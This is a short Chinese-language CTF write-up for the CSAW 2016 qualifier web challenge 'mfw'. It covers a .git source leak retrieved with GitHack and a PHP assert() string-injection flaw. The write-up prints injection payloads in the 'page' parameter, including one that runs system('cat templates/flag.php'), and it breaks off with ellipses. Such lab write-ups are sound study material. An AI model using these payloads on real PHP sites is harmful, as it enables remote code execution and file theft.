xctf-csaw-2016-quals-mfw
xctf-csaw-2016-quals-mfw
1.题目:
2.过程:
打开是一个网页,点击about:
题目提示使用了git,推测存在.git源码泄露:
访问发现网站目录,用GitHack获取源码:
GitHack在python2下运行,使用方法:python2 GitHack.py [指定url]

index.php:
1 | if (isset($_GET['page'])) { |
涉及到了assert的知识点:
assert — 检查一个断言是否为 FALSE
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
如本题:assert(“strpos(‘$file’, ‘..’) === false”) 执行了strpos函数对file进行了检查,若没有检查到..,则继续运行;若检查到,则抛出warning并die(“Detected hacking attempt!”)。
重点是对于assert函数的利用,控制file使之执行指定的代码。
eg:?page=’) or eval(“echo 9*9;”);//

不是很懂为什么会输出Detected hacking attempt!,本地尝试:
?page=’) or eval(“print(8*9);”);//

抑制住了疯狂报错……输出了bool(false),大概是语法或是什么地方出了一点问题……就挺迷的……
?page=’) or system(“cat templates/flag.php”);//

得到flag
关于or可用点号替换的推测:
……
xctf-csaw-2016-quals-mfw